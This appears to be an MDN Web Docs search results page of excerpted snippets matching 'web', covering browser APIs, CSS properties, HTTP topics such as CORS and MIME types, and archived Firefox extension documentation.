webapps directory on Linux and under ~/Library on OS X. Since this folder maybe be located in a directory that requires elevated privileges, the
web application should not write data to it. The application profile directory can be used instead for this purpose. ...
...
WebApp bundle In addition to passing simple command line parameters, Prism can use a zipped bundle package to install a
webapp. The bundle can hold additional resources currently limited to: Application INI settings Application icon Script for the application chrome, not the
web content Installing a bundle When Prism opens a
webapp bundle it will unpack it into the
WebApps/{
webapp-id} folder. This folder is located in the Application Data folder of the user's home directory on Windows, in the ~/.
webapps directory on Linux and under ~/Library on OS X. ...
...And 13 more matches
nsIDownloadProgressListener
in your code, then call nsIDownloadManager.addListener() to start listening. When you no longer need to listen to the Download Manager's state, call nsIDownloadManager.removeListener() to stop listening. As the states of downloads change, the methods described here are called by the Download Manager so your code can take whatever steps it needs to. ...
...take whatever steps it needs to. This interface works very similarly to the nsI
WebProgress interface. It is important to note that there is no service for this listener. Rather, the developer must create an object with the methods provided below to implement it. ...
... steps it needs to. This interface works very similarly to the nsI
WebProgress interface. It is important to note that there is no service for this listener. Rather, the developer must create an object with the methods provided below to implement it. ...
...And 13 more matches
max-height - CSS: Cascading Style Sheets
sion 1)The definition of 'max-height' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... elements.IE Full support 7Opera Full support 7Notes Full support 7Notes Notes CSS 2.1 leaves the behavior of max-height with table undefined. ...
... Full support 1Samsung Internet Android Full support 1.0fit-content ExperimentalChrome Full support 46 Full support 46 Full support 25Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Edge Full support 79 Full support 79 Full support 79Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Firefox Partial support 3Prefixed Notes Partial support 3Prefixed Notes Prefixed Implemented w...
...And 13 more matches
max-width - CSS: Cascading Style Sheets
sion 1)The definition of 'max-width' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...able elements.IE Full support 7Opera Full support 4Notes Full support 4Notes Notes CSS 2.1 leaves the behavior of max-width with table undefined. Opera supports applying max-width to table elements.Safari Full support 1
WebView Android Full support 4.4Chrome Android Full support 18Firefox Android Full support 4Notes Full support 4Notes Notes CSS 2.1 leaves the behavior of max-width with table undefined. Firefox supports applying max-width...
... Full support 1Samsung Internet Android Full support 1.0fit-content ExperimentalChrome Full support 46 Full support 46 Full support 25Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Edge Full support 79 Full support 79 Full support 79Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Firefox Partial support 3Prefixed Notes Partial support 3Prefixed Notes Prefixed Implemented w...
...And 13 more matches
Progress Listeners - Archive of obsolete content
Progress Listeners Progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events. Progress listeners implement the nsI
WebProgressListener interface. Note that if you just want to execute your code each time a page loads, you can use an an easier method, onPageLoad(). Note that onPageLoad does not fire for back button clicks. In the examples below the progress listener is attached to the tabbrowser, which means you don't get any notifications for inactive tabs. ...
... use an an easier method, onPageLoad(). Note that onPageLoad does not fire for back button clicks. In the examples below the progress listener is attached to the tabbrowser, which means you don't get any notifications for inactive tabs. Firefox 3.5 includes a way to set up a listener for all tabs, selected and not: Listening to events on all tabs. ...
...onPageLoad does not fire for back button clicks. In the examples below the progress listener is attached to the tabbrowser, which means you don't get any notifications for inactive tabs. Firefox 3.5 includes a way to set up a listener for all tabs, selected and not: Listening to events on all tabs. ...
...And 12 more matches
Intercepting Page Loads - Archive of obsolete content
Some of the techniques presented here apply only to content loaded in the main browser area, while others detect content being loaded in other XUL windows, or even detect XUL content being loaded. Also, the different techniques tap into different steps of the load process. Which one you should use solely depends on your needs. We will start with the simplest one, which is also the most common to use. Note: Performance is very important when it comes to add-ons and page loads. ...
...rom the chrome code in the overlay we add an event listener for the load event. this._loadHandler = function() {that._onPageLoad(); }; gBrowser.addEventListener("load", this._loadHandler, true); gBrowser is a global object that corresponds to the tabbrowser element in the main browser window. It is full of useful functions, so you should always keep it in mind when you want to handle tabs and
web content windows. Attaching the load event handler to gBrowser allows us to listen to these events for all tabs, without having to worry how many tabs are open. gBrowser exists in every browser window. We store the handler function in a private variable because later we want to remove it when we do not need it anymore. gBrowser.removeEventListener("load", this._loadHandler, true); Finally, the ...
...duplicated work if you have 2 or more windows open. There are 2 HTTP topics you can listen to, as specified in the Observer Notifications page: Topic Description http-on-modify-request Called as an http request is made. The channel is available to allow you to modify headers and such. http-on-examine-response Called after a response has been received from the
webserver. Headers are available on the channel. The subject argument on the observe method is the nsIHttpChannel object that corresponds to the HTTP channel being opened or already opened, depending on the topic. observe : function(aSubject, aTopic, aData) { if (TOPIC_MODIFY_REQUEST == aTopic) { let url; aSubject.QueryInterface(Components.interfaces.nsIHttpChannel); url = aSub...
...And 12 more matches
Debugger.Script - Firefox Developer Tools
For the former, it is the Debugger API's presentation of a JSAPI JSScript object. The two cases are distinguished by their format property being "js" or "wasm". Debugger.Script for JSScripts For Debugger.Script instances referring to a JSScript, they are distinguished by their format property being "js". Each of the following is represented by a single JSScript object: The body of a function--that is, all the code in the function that is not contained within some nested function. ...
....Script instance is a strong reference to a JSScript object; it protects the script it refers to from being garbage collected. Note that SpiderMonkey may use the same Debugger.Script instances for equivalent functions or evaluated code--that is, scripts representing the same source code, at the same position in the same source file, evaluated in the same lexical environment. Debugger.Script for
WebAssembly For Debugger.Script instances referring to a block of
WebAssembly code, they are distinguished by their format property being "wasm". Currently only entire modules evaluated via new
WebAssembly.Module are represented. Debugger.Script objects for
WebAssembly are uncovered via onNewScript when a new
WebAssembly module is instantiated and via the findScripts method on Debugger instances. ...
...bly code, they are distinguished by their format property being "wasm". Currently only entire modules evaluated via new
WebAssembly.Module are represented. Debugger.Script objects for
WebAssembly are uncovered via onNewScript when a new
WebAssembly module is instantiated and via the findScripts method on Debugger instances. SpiderMonkey constructs exactly one Debugger.Script for each underlying
WebAssembly module per Debugger instance. A Debugger.Script instance is a strong reference to the underlying
WebAssembly module; it protects the module it refers to from being garbage collected. Please note at the time of this writing, support for
WebAssembly is very preliminary. Many properties and methods below throw. Convention For descriptions of properties and methods below, if the behavior ...
...And 12 more matches
Debugger.Source - Firefox Developer Tools
The two cases are distinguished by the latter having its introductionType property always being "wasm" and the former having its introductionType property never being "wasm". Each Debugger instance has a separate collection of Debugger.Source instances representing the source code that has been presented to the system. A debugger may place its own properties on Debugger.Source instances, to store metadata about particular pieces of source code. ...
...ript> element and attribute. The choice is left up to the implementation. If a given piece of source code is presented to the JavaScript implementation more than once, with the same origin metadata, the JavaScript implementation may generate a fresh Debugger.Source instance to represent each presentation, or it may use a single Debugger.Source instance to represent them all. Debugger.Source for
WebAssembly For a Debugger.Source instance representing the serialized text of a block of
WebAssembly code, its properties provide the serialized text as a string. Currently only entire modules evaluated via new
WebAssembly.Module are represented. SpiderMonkey constructs exactly one Debugger.Source for each underlying
WebAssembly module per Debugger instance. Please note at the time of this writin...
... Debugger.Source instance representing the serialized text of a block of
WebAssembly code, its properties provide the serialized text as a string. Currently only entire modules evaluated via new
WebAssembly.Module are represented. SpiderMonkey constructs exactly one Debugger.Source for each underlying
WebAssembly module per Debugger instance. Please note at the time of this writing, support for
WebAssembly is very preliminary. Many properties below return placeholder values. ...
...And 12 more matches
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
<compound-selector...
...token> ] <attr-modifier>? ']'where <attr-matcher> = [ '~' | | | '^' | '$' | '*' ]? ...
...r) p:hover { color: red; cursor: pointer; } :is(header, main, footer) p:hover { color: red; cursor: pointer; } let matchedItems; try { matchedItems = document.querySelectorAll(':is(header, main, footer) p'); } catch(e) { try { matchedItems = document.querySelectorAll(':matches(header, main, footer) p'); } catch(e) { try { matchedItems = document.querySelectorAll(':-
webkit-any(header, main, footer) p'); } catch(e) { try { matchedItems = document.querySelectorAll(':-moz-any(header, main, footer) p'); } catch(e) { console.log('Your browser doesn\'t support :is(), :matches(), or :any()'); } } } } matchedItems.forEach(applyHandler); function applyHandler(elem) { elem.addEventListener('click', function(e) { alert('T...
...And 12 more matches
Evolution of HTTP - HTTP
HTTP (HyperText Transfer Protocol) is the underlying protocol of the World Wide
Web. Developed by Tim Berners-Lee and his team between 1989-1991, HTTP has seen many changes, keeping most of the simplicity and further shaping its flexibility. HTTP has evolved from an early protocol to exchange files in a semi-trusted laboratory environment, to the modern maze of the Internet, now carrying images, videos in high resolution and 3D. Invention of the World Wide
Web In 1989, while he was working at CERN, Tim Berners-Lee wrote a proposal to build a hypertext system over the Internet. Initially calling it the Mesh, it was later renamed to World Wide
Web during its implementation in 1990. Built over the existing TCP and IP protocols, it consisted of 4 building blocks: A textual format to represe...
...ater renamed to World Wide
Web during its implementation in 1990. Built over the existing TCP and IP protocols, it consisted of 4 building blocks: A textual format to represent hypertext documents, the HyperText Markup Language (HTML). A simple protocol to exchange these documents, the HypertText Transfer Protocol (HTTP). A client to display (and accidentally edit) these documents, the first
Web browser called WorldWide
Web. A server to give access to the document, an early version of httpd. These four building blocks were completed by the end of 1990, and the first servers were already running outside of CERN by early 1991. ...
... The HTTP protocol used in those early phases was very simple, later dubbed HTTP/0.9, and sometimes as the one-line protocol. HTTP/0.9 - The one-line protocol The initial version of HTTP had no version number; it has been later called 0.9 to differentiate it from the later versions. ...
...And 12 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
Cross-Origin Resource Sharing (CORS) is a mechanism that uses additional HTTP headers to tell browsers to give a
web application running at one origin, access to selected resources from a different origin. A
web application executes a cross-origin HTTP request when it requests a resource that has a different origin (domain, protocol, or port) from its own. An example of a cross-origin request: the front-end JavaScript code served from https://domain-a.com uses XMLHttpRequest to make a request for https://domain-b.com/data.json. For security reasons, browsers restrict cross-origin HTTP requests initiated from scripts. ...
...in, protocol, or port) from its own. An example of a cross-origin request: the front-end JavaScript code served from https://domain-a.com uses XMLHttpRequest to make a request for https://domain-b.com/data.json. For security reasons, browsers restrict cross-origin HTTP requests initiated from scripts. For example, XMLHttpRequest and the Fetch API follow the same-origin policy. This means that a
web application using those APIs can only request resources from the same origin the application was loaded from unless the response from other origins includes the right CORS headers. The CORS mechanism supports secure cross-origin requests and data transfers between browsers and servers. Modern browsers use CORS in APIs such as XMLHttpRequest or Fetch to mitigate the risks of cross-origin HTTP r...
...oaded from unless the response from other origins includes the right CORS headers. The CORS mechanism supports secure cross-origin requests and data transfers between browsers and servers. Modern browsers use CORS in APIs such as XMLHttpRequest or Fetch to mitigate the risks of cross-origin HTTP requests. Who should read this article? Everyone, really. More specifically, this article is for
web administrators, server developers, and front-end developers. Modern browsers handle the client side of cross-origin sharing, including headers and policy enforcement. But the CORS standard means servers have to handle new request and response headers. Another article for server developers discussing cross-origin sharing from a server perspective (with PHP code snippets) is supplementary reading. ...
...And 12 more matches
Index - HTTP
header contains the time in seconds the object has been in a proxy cache. 16 Allow Entity header, HTTP, HTTP Header, Reference, header The Allow header lists the set of methods support by a resource. 17 Alt-Svc Draft, HTTP, HTTP Header, NeedsCompatTable, NeedsContent, NeedsExample, Reference The Alt-Svc header is used to list alternate ways to reach this
website. 18 Authorization HTTP, HTTP Header, Reference, Request header, header The HTTP Authorization request header contains the credentials to authenticate a user agent with a server, usually after the server has responded with a 401 Unauthorized status and the WWW-Authenticate header. 19 Cache-Control General Header, HTTP, HTTP Header, Reference The Cache-...
...ectives for caching mechanisms in both requests and responses. Caching directives are unidirectional, meaning that a given directive in a request is not implying that the same directive is to be given in the response. 20 Clear-Site-Data HTTP, HTTP Header, Reference, header The Clear-Site-Data header clears browsing data (cookies, storage, cache) associated with the requesting
website. It allows
web developers to have more control over the data stored locally by a browser for their origins. 21 Connection HTTP, Headers, Reference,
Web The Connection general header controls whether or not the network connection stays open after the current transaction finishes. If the value sent is keep-alive, the connection is persistent and not closed, allowing for sub...
... resource transmitted as the result of content negotiation. 27 Content-Range HTTP, HTTP Header, Reference, Response Header, header The Content-Range response HTTP header indicates where in a full body message a partial message belongs. 28 Content-Security-Policy CSP, HTTP, Reference, Security, header The HTTP Content-Security-Policy response header allows
web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints. This helps guard against cross-site scripting attacks (XSS). 29 CSP: base-uri CSP, Directive, Document directive, HTTP, Security The HTTP Content-Security-Policy base-uri directive restricts...
...And 12 more matches
Archive of obsolete content
Here at MDN, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers. Perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. ...
...It's here for historical reference only. See the complete index of archived content Note to writers: We need to try to keep the subpages here organized instead of all dumped into one large folder. Try to create subtrees for categories of material. ...
...to writers: We need to try to keep the subpages here organized instead of all dumped into one large folder. Try to create subtrees for categories of material. Also, only move pages here that are extremely obsolete. If anyone might realistically need the information in a living product, it may not be appropriate to move it here. In general, it may be best to discuss it in the MDN
Web Docs room on Matrix before moving content here. .htaccess ( hypertext access ) File Accessing : htaccess files can be opened using any text editor, like Windows Notepad, Vin, Sublime text editor or any other. Syntax highliting support for .htaccess files less. 2015 MDN Fellowship Program Add-ons Archived add-ons documentat...
...And 11 more matches
Visual typescript game engine - Game development
Project : Visual typescript game engine Version: Sunshine - 2019 2d canvas game engine based on Matter.js 2D physics engine for the
web. Written in typescript current version 3.1.3. Text editor used and recommended: Visual Studio Code. Luanch debugger configuration comes with this project. Physics engine based on Matter.js. Multiplatform video chat (for all browsers) implemented. SocketIO used for session staff. MultiRTC2 used for data transfer also for video chat. MultiRTC3 alias 'broadcaster' used for video chat. Client part To make all dependency works in build process we need some plugins. npm install npm run build Navigate in browser /build/app.html to see client app in action -The client part is a browser
web application. No reloading or redirecting. This ...
... Client part To make all dependency works in build process we need some plugins. npm install npm run build Navigate in browser /build/app.html to see client app in action -The client part is a browser
web application. No reloading or redirecting. This is a single page application. I use HTML request only for loading local/staged HTML (like register, login etc.). Networking is based on
WebSocket full-duplex communication only.You must be conform with classic socket connection methodology.
webRTC can be used for any proportion. Already implemented: -video chat
webRTC (SIP) chat and data communication. Look back on main staff : -Class 'Connector' (native
WebSocket) used for user session staff. For main account session staff like login, register etc. Client config If you want...
...The setup this on false in main client config class. ...
...And 11 more matches
Creating the Component Code
<< PreviousNext >> This chapter goes over the basic code required to handle the relationship between your component and XPCOM. Having the component found and registered properly is the goal of this first chapter of the tutorial. In the subsequent chapters, we can begin to work on the example
WebLock component functionality itself. Use the Calculator (After Learning Long Division) You have to write a fair amount of code to create a component library that gets loaded into XPCOM. An XPCOM component needs to implement at least three interfaces that XPCOM requires, and often others as well. There is more code in this chapter than you'll eventually need, however. Using XPCOM Utilities to Make Things Easier shows some simpler and more elegant ways to create an XPCOM component usin...
...er tools like calculators come after you figure out what's actually happening. In this case, the long-hand implementation gives us an opportunity to talk about various features of XPCOM. What We'll Be Working On The component we'll be working on in this book controls a special mode in your browser that prevents users from leaving the current domain or a set of safe domains. ...
...book controls a special mode in your browser that prevents users from leaving the current domain or a set of safe domains. Once enabled, this "
weblock" mode is password protected and persists until it is turned off by the password holder. It can be used to implement parental controlled browsing for children, or for targeted "kiosk browsing," where the content is restricted to a particular server. ...
...And 11 more matches
Mozilla
to run JavaScript code in the same scope as the main Firefox browser window and report results using the same functions as the Mochitest test framework. As all tests, they won't work in a build with tests disabled (--disable-tests). Browser security An important aspect of developing code for any browser, including Firefox, as well as any
Web-oriented project, is its security. These articles provide important guides and references to ensuring the code you write is secure, including both design recommendations and testing guidelines. Bugzilla bugzilla.mozilla.org (often abbreviated b.m.o) is Mozilla.org's bug-tracking system, a database for recording bugs and enhancement reques...
...to needed documentation can be directed to Mike Connor. Cookies Preferences in Mozilla These preferences apply to most Mozilla products (including Firefox and Seamonkey), however they are application-specific, so not all of them may apply to you. The default values given are for Firefox 3. Creating a Firefox sidebar
Web publishers can offer visitors a Firefox sidebar to encourage their engagement. There are two ways to create a sidebar for Firefox users: the Social API and an extension. You can choose either depending on your needs and resources. Creating a Language Pack To create a language pack, or a localization repack, you first need to go through the initial set...
...h plugins Firefox 2 uses a simplified form of the OpenSearch format for storing search plugins. A MozSearch search plugin is an XML file that describes the search engine, its URL, and the parameters that need to be passed to that URL. Creating reftest-based unit tests The reftest harness compares the display of two
Web pages. If the bitmaps resulting from displaying the two files in an 800x1000 window are identical, the test passes. If they differ, the test fails. Or, alternatively, the conditions can be reversed (a != test rather than an == test). The power of the tool comes from the fact that there is more than one way to achieve any given visual effect in a browser. So, if the effect of complex m...
...And 11 more matches
background-size - CSS: Cascading Style Sheets
ition of 'background-size' in that specification. Candidate Recommendation Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...eEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetbackground-sizeChrome Full support 3 Full support 3 Full support 1Prefixed Notes Prefixed Implemented with the vendor prefix: -
webkit-Notes
WebKit-based browsers originally implemented an older draft of CSS3 background-size in which an omitted second value is treated as duplicating the first value; this draft does not include the contain or cover keywords.Edge Full support 12Firefox Full support 4 Full support ...
...d as duplicating the first value; this draft does not include the contain or cover keywords.Edge Full support 12Firefox Full support 4 Full support 4 Full support 49Prefixed Prefixed Implemented with the vendor prefix: -
webkit- No support 3.6 -- 4Prefixed Prefixed Implemented with the vendor prefix: -moz-IE Full support 9Opera Full support 10 Full support 10 Full support 15Prefixed Notes Prefixed Implemented with ...
...And 11 more matches
Adding captions and subtitles to HTML5 video - Developer guides
Captioned video example In this article, we will refer to the Video player with captions example. This example uses an excerpt from the Sintel open movie, created by the Blender Foundation. ...
...nding the language of the film, rather than deaf or hard-of-hearing people. The <track> element HTML5 allows us to specify subtitles for a video using the <track> element. The various attributes of this element allow us to specify such things as the type of content that we're adding, the language it's in, and of course a reference to the text file that contains the actual subtitle information.
WebVTT The files that contain the actual subtitle data are simple text files that follow a specified format, in this case the
Web Video Text Tracks (
WebVTT) format. The
WebVTT specification is still being worked on, but major parts of it are stable so we can use it today. Video providers (such as the Blender Foundation) provide captions and subtitles in a text format with their videos, but they're ...
... Modifications to the HTML and CSS This section summarises the modifications made to the previous article's code in order to facilitate the addition of subtitles to the video. ...
...And 11 more matches
MIME types (IANA media types) - HTTP
format of a document, file, or assortment of bytes. It is defined and standardized in IETF's RFC 6838. The Internet Assigned Numbers Authority (IANA) is responsible for all official MIME types, and you can find the most up-to-date and complete list at their Media Types page. Important: Browsers use the MIME type, not the file extension, to determine how to process a URL, so it's important that
web servers send the correct MIME type in the response's Content-Type header. If this is not correctly configured, browsers are likely to misinterpret the contents of files and sites will not work correctly, and downloaded files may be mishandled. Structure of a MIME type The simplest MIME type consists of a type and a subtype; these are each strings which, when concatenated with a slash (/) betwe...
.../pdf, application/pkcs8, and application/zip. audio List at IANA Audio or music data. Examples include audio/mpeg, audio/vorbis. example Reserved for use as a placeholder in examples showing how to use MIME types. These should never be used outside of sample code listings and documentation. example can also be used as a subtype; for instance, in an example related to working with audio on the
web, the MIME type audio/example can be used to indicate that the type is a placeholder and should be replaced with an appropriate one when using the code in the real world. font List at IANA Font/typeface data. Common examples include font/woff, font/ttf, and font/otf. image List at IANA Image or graphical data including both bitmap and vector still images as well as animated versions of still i...
...omprised of multiple components which may individually have different MIME types. Examples include multipart/form-data (for data produced using the FormData API) and multipart/byteranges (defined in RFC 7233: 5.4.1 and used with HTTP's 206 "Partial Content" response returned when the fetched data is only part of the content, such as is delivered using the Range header). Important MIME types for
Web developers application/octet-stream This is the default for binary files. As it means unknown binary file, browsers usually don't execute it, or even ask if it should be executed. They treat it as if the Content-Disposition header was set to attachment, and propose a "Save As" dialog. text/plain This is the default for textual files. Even if it really means "unknown textual file," browsers as...
...And 11 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
Sending data from unprivileged document to chrome An easy way to send data from a
web page to an extension is by using custom DOM events. In your extension's browser.xul overlay, write code which listens for a custom DOM event. Here we call the event MyExtensionEvent. var myExtension = { myListener: function(evt) { alert("Received from
web page: " + evt.target.getAttribute("attribute1") + "/" + evt.target.getAttribute("attribute2")); } } document.addEventListener("MyExtensionEvent", function(e) { myExtension.myListener(e); }, false, true); // The last value is a Mozilla-specific value to indicate untrusted content is allowed to trigger the event. The data from the
web page (unprivileged code) will be the values of attribute1 and attribute2. To trigger t...
...("attribute2")); } } document.addEventListener("MyExtensionEvent", function(e) { myExtension.myListener(e); }, false, true); // The last value is a Mozilla-specific value to indicate untrusted content is allowed to trigger the event. The data from the
web page (unprivileged code) will be the values of attribute1 and attribute2. ...
...istener("MyExtensionEvent", function(e) { myExtension.myListener(e); }, false, true); // The last value is a Mozilla-specific value to indicate untrusted content is allowed to trigger the event. The data from the
web page (unprivileged code) will be the values of attribute1 and attribute2. ...
...And 10 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
nd :not ([mode="text"]) to those style rules. For instance use toolbar[iconsize="small"]:not ([mode="text"]). A little experimenting may be required to fully address this issue with your theme. Address bar Identity box is missing padlock icons for secure sites In Firefox 14 and later the identity box has been significantly changed and the favicon has been replaced by an icon that indicates the
website's status. In the case of secure sites the icon must be a padlock. To fix this issue, you need to copy the files chrome://browser/skin/identity-icons-generic.png, chrome://browser/skin/identity-icons-https.png and chrome://browser/skin/identity-icons-https-ev.png to your browser folder. You can modify/redesign these icons to match your theme provided appropriate padlock icons are used for secu...
...abled url bars There needs to be a visual clue when URL bar is disabled. To test this please go to bug 324777 using the default theme and activate the "click me" link. The URL bar of the resulting popup window is disabled. Address bar "door hangers" Door hanger sync panel not styled The sync panel at the bottom of the "door hanger" for the save password panel displayed when a user logs into a
website needs to be styled to match rest of panel including border. This issue also applies to the edit bookmark panel, which is activated by double clicking on the bookmark star in the URL bar. For details, please see bug 708797. "About" Pages about:addons Disabled add-on Icons are not grey scale In Tools > Add-ons, the icons of disabled icons need to be converted to grey scale. To accomplish th...
...omains on the domain list of about:permissions do not line up properly due to missing placeholder icons for domains without favicons. ...
...And 10 more matches
Accessibility Features in Firefox
ox on Linux currently boasts the best onscreen keyboard support in the industry via GOK, the Gnome Onscreen Keyboard. Basic screen reader accessibility is available via the Fire Vox extension. Fire Vox can also be used on Windows or OS X. For more detailed information, please check the assistive technology compatibility guide is kept on an editable Wiki. Keyboard Support "Mozilla Firefox is a
web-browser with superior keyboard support." Alan Cantor, Cantor Access Consulting Firefox includes keyboard access to all of its amazing features: Browse with caret allows users to select arbitrary content with the keyboard and move through content as if inside a read-only editor. This allows copying arbitrary pieces of text to the clipboard. The F7 key toggles this feature on/off. Tabbed bro...
...ing search. Bookmarks can have a keyword assigned to them which can be typed into the address bar to bring up the bookmark. A "smart keywords" feature enhances this even further by allowing custom searches from the command line such as "word punditry" to look up the word "punditry" in an online dictionary. These smart keywords can be setup via the context menu for the search field on the desired
website. Integrated
web search via Ctrl+K is much faster to use than first going to the search tool's
web site. Custom searches can be added to this quick search bar and the user can switch between them by choosing from a drop down available via the standard Alt+down arrow key combination. The built-in text zoom feature can be accessed with the Ctrl+plus and Ctrl+minus hotkeys. The Accessibility E...
...lows more convenient use by screen magnification users because there is a single point of regard for the search. It also assists users of input aids because there are far fewer keys to type to get the desired location. For example, it is possible to navigate to the desired link by pressing 2 letter keys rather than tabbing through many links to get there. ...
...And 10 more matches
Storage access policy: Block cookies from trackers
We'll keep this page updated with the newest information as we strengthen our protections. These protections are on by default in Nightly. The cookie policy can be enabled in other versions of Firefox through the Content Blocking settings (these steps will vary by version; the linked documentation includes a dropdown to select the appropriate Firefox version). Report Broken Sites If you find a
website broken as a result of this change, file a bug under the Tracking Protection component within the Firefox product on Bugzilla. Alternatively you can report broken sites directly in Firefox by clicking "Report a Problem" in the Content Blocking section of the Control Center (this shortcut may not be available in all versions of Firefox). Tracking protection explained How does Firefox determin...
...ckers will have access to their own storage when they are loaded in a first-party context. Cross-origin resources loaded from the same eTLD+1 as the top-level context will still have access to their storage. Origins normally classified as trackers will not be blocked if the top-level page origin is determined to be from the same organization as them. Storage access grants In order to improve
web compatibility and permit third-party integrations that require storage access, Firefox will grant storage access scoped to the first party for a particular third-party origin as described in this section. Currently, Firefox includes some
web compatibility heuristics that grant storage access to third-party resources classified as trackers when a user interacts with those third parties. We do this...
...We also support an initial implementation of the Storage Access API, through which embedded <iframe>s can request storage access by calling Document.requestStorageAccess(). ...
...And 10 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
v> <div id="output"> <div class="css-property"> <span class="property">background:</span> <span class="value"></span> </div> </div> </div> CSS Content /* * COLOR PICKER TOOL */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #DDD; background-color: #FFF; display: table; -moz-user-select: none; -
webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #DDD; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* HSV format - Hue-Saturation-Value(Brightness) */ .ui-color-picker .picking-area { background: url("images/pi...
...ition: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* HSV format - Hue-Saturation-Value(Brightness) */ .ui-color-picker .picking-area { background: url("images/picker_mask.png"); background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); background: -
webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -
webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #FFF 0%, rgba(255, 25...
...eft, #FFF 0%, rgba(255, 255, 255, 0) 100%); background-color: #F00; } /* HSL format - Hue-Saturation-Lightness */ .ui-color-picker[data-mode='HSL'] .picking-area { background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -
webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -
webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hs...
...And 10 more matches
box-direction - CSS: Cascading Style Sheets
set using the element's dir attribute, then the style is ignored. Formal definition Initial valuenormalApplies toelements with a CSS display value of box or inline-boxInheritednoComputed valueas specifiedAnimation typediscrete Formal syntax normal | reverse | inherit Examples Setting box direction .example { /* bottom-to-top layout */ -moz-box-direction: reverse; /* Mozilla */ -
webkit-box-direction: reverse; /*
WebKit */ box-direction: reverse; /* As specified */ } Specifications Not part of any standard. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefox...
...Kit */ box-direction: reverse; /* As specified */ } Specifications Not part of any standard. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... a pull request. ...
...And 10 more matches
HTML5 - Developer guides
HTML5 is the latest evolution of the standard that defines HTML. The term represents two different concepts. It is a new version of the language HTML, with new elements, attributes, and behaviors, and a larger set of technologies that allows the building of more diverse and powerful
Web sites and applications. This set is sometimes called HTML5 & friends and often shortened to just HTML5. Designed to be usable by all Open
Web developers, this reference page links to numerous resources about HTML5 technologies, classified into several groups based on their function. Semantics: allowing you to describe more precisely what your content is. Connectivity: allowing you to communicate with the server in new and innovative ways. Offline and storage: allowing
webpages to store data on th...
...ied into several groups based on their function. Semantics: allowing you to describe more precisely what your content is. Connectivity: allowing you to communicate with the server in new and innovative ways. Offline and storage: allowing
webpages to store data on the client-side locally and operate offline more efficiently. Multimedia: making video and audio first-class citizens in the Open
Web. 2D/3D graphics and effects: allowing a much more diverse range of presentation options. Performance and integration: providing greater speed optimization and better usage of computer hardware. Device access: allowing for the usage of various input and output devices. Styling: letting authors write more sophisticated themes. Semantics Sections and outlines in HTML5 A look at the new o...
...and <main>, increasing the number of valid HTML5 elements. Improvement in <iframe> Using the sandbox and srcdoc attributes, authors can now be precise about the level of security and the wished rendering of an <iframe> element. MathML Allows directly embedding mathematical formulas. Introduction to HTML5 This article introduces how to indicate to the browser that you are using HTML5 in your
web design or
web application. HTML5 Reference Guide Quick-reference HTML5 sheet containing markup generators, code examples and
web developer tools. The guide is downloadable for ease of use and access. This page was created with help from the W3C as a quick guide for those who have some basic familiarity and experience using HTML5. Downloadable HTML5 Guide A quick guide to HTML5, including the ...
...And 10 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
With CSS, there are lots of ways to add color to your HTML elements to create just the look you want. This article is a primer introducing each of the ways CSS color can be used in HTML. ...
...h side this is will vary depending on the writing-mode, direction, and text-orientation properties, which are typically (but not always) used to adjust text directionality based on the language being displayed. For example, if the box's text is being rendered right-to-left, then the border-inline-start-color is applied to the right side of the border. Other ways to use color CSS isn't the only
